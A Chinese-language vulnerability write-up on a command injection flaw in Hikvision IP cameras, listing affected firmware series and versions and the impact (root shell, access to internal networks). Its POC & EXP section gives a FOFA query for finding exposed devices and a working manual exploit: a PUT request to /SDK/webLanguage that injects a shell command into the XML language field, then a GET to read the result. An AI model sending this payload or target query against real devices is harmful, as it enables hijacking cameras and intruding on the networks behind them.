原理
由于摄像头对传入的字符串未做进一步确认，导致恶意的命令被注入到正常命令中。
参考文章：
https://kms.app/archives/399/
影响范围
DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 Build 160530
DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401
DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125
DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414
DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421
DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928
DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106
危害
攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备，即使设备的所有者受限于有限的受保护 shell（psh）。除了入侵 IP 摄像头外，还可以访问和攻击内部网络。
POC & EXP
fofa
app="HIKVISION-视频监控"
手工
# 1. 使用PUT方法上传内容
PUT /SDK/webLanguage HTTP/1.1
Host: x.x.x.x:x
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
<?xml version='1.0' encoding='utf-8'?><language>$((whoami) > webLib/x)</language>
# 2. 发送GET请求
http://x.x.x.x:x/x